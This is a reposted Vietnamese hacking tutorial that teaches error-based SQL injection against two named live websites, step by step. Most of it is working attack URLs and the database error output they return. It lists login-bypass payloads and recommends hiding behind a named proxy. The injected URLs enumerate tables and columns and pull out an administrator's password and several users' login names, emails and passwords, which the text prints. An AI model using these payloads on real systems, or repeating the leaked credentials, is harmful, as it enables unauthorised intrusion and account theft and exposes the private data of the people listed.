Khai thác SQL Injection để hack DB


Bài viết này do bạn Neo viết ra, nhằm giúp đỡ các bạn không biết gì về Hack có thể Hack được một trang Web khi phát hiện bị lỗi SQL Injection và có sử dụng OLE DB đồng thời cũng để khích lệ các thành viên và điều hành viên tích cực Post bài và săn Bug nhiều hơn nữa trong forumj của bạn ấy. Vì thấy đây là 1 bài viết khá bổ ích nên muội đã sưu tầm lại cho các huynh tìm hiểu.

======================

Ở đây tôi xin giới thiệu cách Hack vào Website http://www.equipmentworldindia.com vì Website này không có nhiều thông tin quan trọng nên mức ảnh hưởng khi đưa ra cho các bạn thực hành sẽ không cao.

Bây giờ ta bắt đâu công việc

bug : http://www.equipmentworldindia.comsh…asppid= 1’/

Kết quả

Error Type

Microsoft OLE DB Provider for SQL Server (0×80040E14)

Unclosed quotation mark before the character string ”.

shopViewProduct.asp, line 115

1. Thu thập cấu trúc dữ liệu

Ta bắt đầu lấy cấu trúc dữ liệu của Website này.

Lấy Table đầu tiên trong CSDL của Website

Trích dẫn:
httpwww.equipmentworldindia.comshopViewProduct.asp PID=1%20and%201=convert(int,(select%20top%201%20ta ble_name%20from%20information_schema.tables))##sp_ password

Cho ta kết quả

Trích dẫn:
Error TypeMicrosoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘EWIAlsoArticle’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta có table đầu tiên ‘EWIAlsoArticle’

Lấy tiếp table thứ hai

Trích dẫn:
httpwww.equipmentworldindia.comshopViewProduct.asp PID=1%20and%201=convert(int,(select%20top%201%20ta ble_name%20from%20information_schema.tables%20wher e%20table_name%20not%20in%20(’EWIAlsoArticle’)))## sp_password

Kết quả

Trích dẫn:
Error TypeMicrosoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘dtproperties’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy table thứ hai là ‘dtproperties’

Lấy tiếp table thứ ba

Trích dẫn:
http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20table_ name%20from%20information_schema.tables%20where%20 table_name%20not%20in%20(’ewialsoarticle’,’dtprope rties’)))/##sp_password

Kết quả

Trích dẫn:
Error TypeMicrosoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘ewi_Admin_User’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta có table thứ 3 là ‘ewi_Admin_User’ một Table quan trọng.

Nếu muốn các bạn có thể tiếp tục lấy thêm các table khác, để lấy được đúng table mà bạn cần.

Làm tương tự cho các table tiếp theo, các bạn có thể lấy được table EWIUsers là Table chứa thông tin về thành viên đăng ký trong Website này.

2. Lấy User và Pass Admin

Biết Table Admin là ta phải thu thập nốt các Column trong Table đó.

Lấy Column đầu tiên

Trích dẫn:
http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewi_admin_user’)))/##sp_password

Kết quả

Trích dẫn:
Error TypeMicrosoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘Userid’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta có Column đầu tiên là ‘Userid’
Sau đó lấy tiếp column tiếp theo bằng where column_name not in bằng URL sau

Trích dẫn:
http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewi_admin_user’)%20and%20column_nam e%20not%20in%20(’userid’)))/##sp_password

Kết quả

Trích dẫn:
Error TypeMicrosoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the nvarchar value ‘Password’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy ta lấy được column thứ hai là Password.

Bây giờ thì ta lấy Pass Admin được dễ dàng.

Trích dẫn:
http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20userid %2b”%2bpassword%20from%20ewi_admin_user))/##sp_password

Kết quả là

Trích dẫn:
Error TypeMicrosoft OLE DB Provider for SQL Server (0×80040E07)

Syntax error converting the varchar value ‘ewistarplus’ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy UserPass của Admin là ewistarplus

Đăng nhập thử

http://www.equipmentworldindia.com

Đăng nhập thành công. Bạn đã là Admin của Site này.

Và từ đó có thể quản lý người dùng dễ dàng. Tuy nhiên phần dưới đây tôi vẫn trình bày cách lấy User và Pass của người dùng nhằm mục đích phần này để các bạn tự làm theo giống như đã là với lấy Pass Admin. Nếu ko làm được các bạn có thể xem Guide tiếp.

3. Lấy thông tin người dùng

Table chứa User và Pass của người sử dụng trong site này là ‘EWIUsers’. Các bạn thu thập các column của table này và có danh sách các column như sau

Trích dẫn:
‘User_Id’,’Loginname’,’Password’,’UserType’,’Creat iondate’
(Thông qua URL http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20column _name%20from%20information_schema.columns%20where% 20table_name=(’ewiusers’)%20and%20column_name%20no t%20in%20(’user_id’,’loginname’,’password’,’userty pe’,’creationdate’)))/##sp_password)

Lấy User và Password của người dùng đầu tiên

Trích dẫn:
http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20loginn ame%2b”%2bpassword%20from%20ewiusers))/##sp_password

Kết quả

Trích dẫn:
Microsoft OLE DB Provider for SQL Server (0×80040E07)Syntax error converting the varchar value ‘advanced1advanced1′ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy UserPass của người dùng đầu tiên là advanced1advanced1

Đăng nhập thử http://www.equipmentworldindia.com

Nhập User và Pass vào Form Login phía tay trái, đăng nhập thành công. Done !

Bạn có thể lấy User và Pass của người dùng tiếp theo bằng where User_id not in

Ví dụ lấy UserPass của người thứ hai

Trích dẫn:
http://www.equipmentworldindia.comshopviewproduct.asppid= 1%20and%201=convert(int,(select%20top%201%20loginn ame%2b”%2bpassword%20from%20ewiusers%20where%20us er_id%20not%20in%20(’1′)))/##sp_password

Kết quả

Trích dẫn:
Microsoft OLE DB Provider for SQL Server (0×80040E07)Syntax error converting the varchar value ‘agilent1agilent1′ to a column of data type int.

shopViewProduct.asp, line 115

Như vậy User và Pass của người thứ hai là agilent1agilent1

Đến đây tôi xin kết thúc bài viết của mình. Phần còn lại các bạn có thể tự làm nốt hoặc nghiên cứu gì đó cao siêu hơn.

Chúc các bạn Hack vui vẻ và đừng Drop DB của người ta nhé )

++ Sau một thời gian tìm hiểu về sql injection, cũng như muốn giúp cho một số bác newbie hiểu một cách gần như hòan chỉnh về Sql injeciton ?Vậy Sql injeciton là gì ? By pass login là gì ?

Có thể hiểu một cách cơ bản nhất về Sql injeciton là “lỗi xảy ra trong quá trình xử lý thông tin bên ngòai đưa vào” ….. còn by pass login có thể hiểu là ” với by pass thì ta có thể đăng nhập vào bất cứ nơi nào bị dính sql injection mà ta ko cần biết thông tin về user, pass, email …… ” …. cơ bản là như thế đấy, còn muốn hiểu rõ ràng hơn, cũng như khoa học hơn hãy tìm đọc trong các tài liệu của nước ngòai nhé (muốn tìm vào google.com search từ khóa là : sql injection exploit) … hoặc tham khảo các bài viết của các staff HVA (vicki, mrro, windak, $$$ ….)

++ Vậy by pass login như thế nào ? À, đôi khi bạn truy cập vào 1 số trang nào đó, bạn sẽ để ý có phần đăng nhập … và bạn muốn đăng nhập với quyền quản trị thì sao ? hì .. hì … chỉ cần biết user và pass là có thể đăng nhập thôi chứ gì ? Nhưng trong trường hợp ko biết thì pó tay .. hì hì … vậy by pass login sẽ giúp cho bạn đăng nhập vào nơi đó với quyền cao nhất .. cơ bản là vậy đó nha. Còn đây là một số data giúp bạn submit để xem coi nó bị by pass login ko :

Username
Password

Trích dẫn:
‘ or 1=1–
‘ or 1=1–” or 1=1–
” or 1=1–

or 1=1–
or 1=1–

‘ or ‘a’=’a
‘ or ‘a’=’a

” or “a”=”a
” or “a”=”a

‘) or (’a’=’a
‘) or (’a’=’a

( còn nhiều lắm đó, cơ bản là bao nhiêu đây, bạn có thể thay đổi như thế nào đó mà login được là thành công rồi ! )

++ Vậy sql injection như thế nào ?

Thực tập luôn nha (trước khi thực tập thì nên mask bằng proxy nhé, để cho an tòan mà : IP: 171.64.64.216, port: 3128 – proxy này level 5) hi vọng sau khi thực tập xong trang này bạn sẽ tích hợp được phần nào khái niệm hack bằng sql injection,

trang mình chọn là : http://www.gayseattle.com/ theo tìm hiểu sơ qua trang này ko có cc, cũng như ko có thông tin gì quan trọng cả, chủ yếu để các bạn tìm hiểu chứ ko hướng dẫn bạn hack cc …. nếu bạn nào thích thú thì xem như là thành công nho nhỏ rồi đó.

Sau khi vào http://www.gayseattle.com/ bạn nhìn bên phải có 1 form cho đăng nhập, thông tin cần là e-mail và password, để khai thác nhập vào chổ e-mail là những dấu sau (những dấu có màu đỏ nha) : ‘,”,),(, bạn sẽ nhận được một thông báo lỗi dạng như sau (sau khi bạn nhập vào dấu ‘):

Trích dẫn:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ”’.
/login.asp, line 41

Wow .. wow .. vậy là trang này dính sql injection rồi, giờ là đến lúc chúng ta khai thác nó. Để lấy các table và column bạn có 2 cách ( dùng ‘ having 1=1–sp_password, kết hợp với ‘ group by tên cột đã biết having 1=1–sp_password ).

Dùng cách 1: Nhập vào ‘ having 1=1–sp_password vào chổ e-mail, bạn sẽ nhận được 1 thông báo như sau :

Trích dẫn:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘Users.ID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 41

Vậy là bạn biết tại form này nhận vào table Users và cột đầu tiên mang tên là : ID, giờ khai thác thêm các cột khác : Cũng tại chổ e-mail đó nhập vào : ‘ group by Users.ID having 1=1–sp_password nhận tiếp 1 thông báo như sau :

Trích dẫn:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘Users.IRCID’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 41

Vậy là biết thêm có 1 cột nữa mang tên là IRCID dùng dấu , giữa 2 cột nhé, giờ lấy tên cột tiếp theo nữa : ‘ group by Users.ID,Users.IRCID having 1=1–sp_password

Trích dẫn:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘Users.MatchMakerID’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 41

và nhận được thêm 1 cột nữa tên là : MatchMakerID, tiếp tục như thế bạn lấy tên các cột còn lại, đến khi nào hết thì thôi, khi nào lấy hết tên các cột thì nó sẽ trở lại trang login mà không có báo lỗi gì nữa cả. Đến lúc đó bạn đã biết rằng mình đã lấy hết tên các cột rồi đó.

Dùng cách 2: Hãy dạo một vòng trang web, click đại vào 1 link bất kỳ đi, miễn sao link đó có dạng xxx.asp?yyy=???, chẵng hạn như :

http://www.gayseattle.com/Community/…egory=Clothing, thử xem coi link này dính sql injection ko nhé, bằng cách xóa chử Clothing thay bằng dấu ‘ (dấu phẩy), (đôi khi một số trường hợp ta ko xóa chử đó mà chỉ cần thêm dấu ‘ thôi —> Clothing’ ) link sẽ như sau :

http://www.gayseattle.com/Community/YellowPages/directory.asp?Category=’

Nhận dc một thông báo .Vậy là xong, link này cũng dính sql injection ….. giờ ta lấy tên của các cột bằng ” magic convert ” do bên trên ta đã biết trang này có 1 table mang tên là : Users, để nhanh chóng ta đi vào lấy tên các cột của table này luôn mà không cần tìm tất cả các table hiện có.

Trích dẫn:
http://www.gayseattle.com/Community/YellowPages/directory.asp?Category=’ and 1=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ ))–sp_password’ and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’users’ ))–sp_password

Bạn sẽ nhận được 1 thông báo như sau :

Trích dẫn:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘id’ to a column of data type int.
/Community/YellowPages/directory.asp, line 19

cột đầu tiên cũng là id phải không ? quá đúng rồi còn gì nữa, giờ lấy tên các cột tiếp theo :

Trích dẫn:
http://www.gayseattle.com/Community/YellowPages/directory.asp?Category=’ and 1=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ and column_name not in(’id’)))–sp_password’ and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’users’ and column_name not in(’id’)))–sp_password
Trích dẫn:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘Firstname’ to a column of data type int.
/Community/YellowPages/directory.asp, line 19

Vậy là tên cột tiếp theo là FirstName, lấy tên cột kế tiếp :

Trích dẫn:
http://www.gayseattle.com/Community/YellowPages/directory.asp?Category=’ and 1=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ and column_name not in(’id’)))–sp_password’ and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’users’ and column_name not in(’id’,’firstname’)))–sp_password
Trích dẫn:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘LastName’ to a column of data type int.
/Community/YellowPages/directory.asp, line 19

các cột cách nhau bằng dấu , và tên cột nằm trong 2 dấu nháy ” như sau : ,’tên cột’, cứ như vậy ta lấy tên các cột tiếp theo nhé ! Mình cũng đã lấy hết các cột của bảng Users này rồi, bạn tham khảo xem coi có giống của bạn không nhé :

Trích dẫn:
‘ and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’users’ and column_name not in(’id’,’firstname’,’lastname’,’address’,’city’,’s tate’,’zip’,’email’,’password’,’emailok’,’postalma ilok’,’gayevents’,’singleevents’,’supportgroups’
,’irc’,’nightlife’,’businesses’,’otherinterests’,’ gender’,’ircnews’,’monitorresolution’,’monitorsize ‘,’hearaboutus’,’ircid’,’matchmakerid’,’age’
,’address2′,’dateregistered3′,’lastvisit’,’adverti serid’,’cookies’)))–sp_password

Bạn có để ý rằng với 2 cách trên thì thứ tự tên các cột bạn nhận được không giống nhau, nhưng dù cách nào đi nữa thì số cột cuối cùng bạn nhận được cũng như nhau mà thôi !

Lưu ý: Các cậu lệnh dùng để hack phải được viết trên 1 dòng nhé, không được xuống dòng nhé, do khuôn khổ trình bày đôi khi có sai lệch đôi chút, nhưng bạn phải nhớ kỹ nhé !

Vậy coi như là xong 50% rồi, giờ đến lúc bạn lấy info để login vào, trong form login đòi hỏi e-mail và password, giờ hãy nhìn lại số cột mà bạn nhận được từ bảng Users xem, khà khà .. thế nào, có tìm được cột có tên là email và password không, nếu ko có tức là bạn tìm chưa đủ, hãy tìm lại lần nữa nha …. -)

Khai thác thì có nhiều cách lắm, giờ mình hướng dẫn cách khai thác nhanh nhất, gọn nhất, còn các cách khác bạn chịu khó xem lại tài liệu của các Staff HVA nhé ! Dùng CONVERT để khai thác :

Trích dẫn:
http://www.gayseattle.com/Community/YellowPages/directory.asp?Category=’ and 1=convert(int,(select top 1 email+’/’+password from Users))–sp_password’ and 1=convert(int,(select top 1 email%2b’/’%2bpassword from Users))–sp_password

%2b == + (dấu %2b thay thế cho dấu +). Ta sẽ gộp 2 cột lại với nhau bằng dấu ‘/’ để kết quả sau khi nhận được dễ phân biệt hơn. Kết quả bạn sẽ nhận được là :

Trích dẫn:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘ygdrasil@mindspring.com/laeris’ to a column of data type int.
/Community/YellowPages/directory.asp, line 19

Wow … woow …. xong rùi đó, giờ Back lại trang chính và login vào xem thế nào nhé (http://www.gayseattle.com/login.asp) thành công rồi chứ ?? -) Giờ làm sao để lấy các thông tin khác nữa …. để lấy thông tin của thành viên khác thì ta sẽ lọai trừ cái email của người mà vừa lấy xong :-)……….

Trích dẫn:
http://www.gayseattle.com/Community/YellowPages/directory.asp?Category=’ and 1=convert(int,(select top 1 email+’/’+password from Users where email not in(’ygdrasil@mindspring.com’)))–sp_password’ and 1=convert(int,(select top 1 email%2b’/’%2bpassword from Users where email not mailto:in(’ygdrasil@mindspring.com’)))–sp_password))–sp_password

Kết quả nhận được là :

Trích dẫn:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘louisk@guiware.com/lmk1234′ to a column of data type int.
/Community/YellowPages/directory.asp, line 19

#su-kien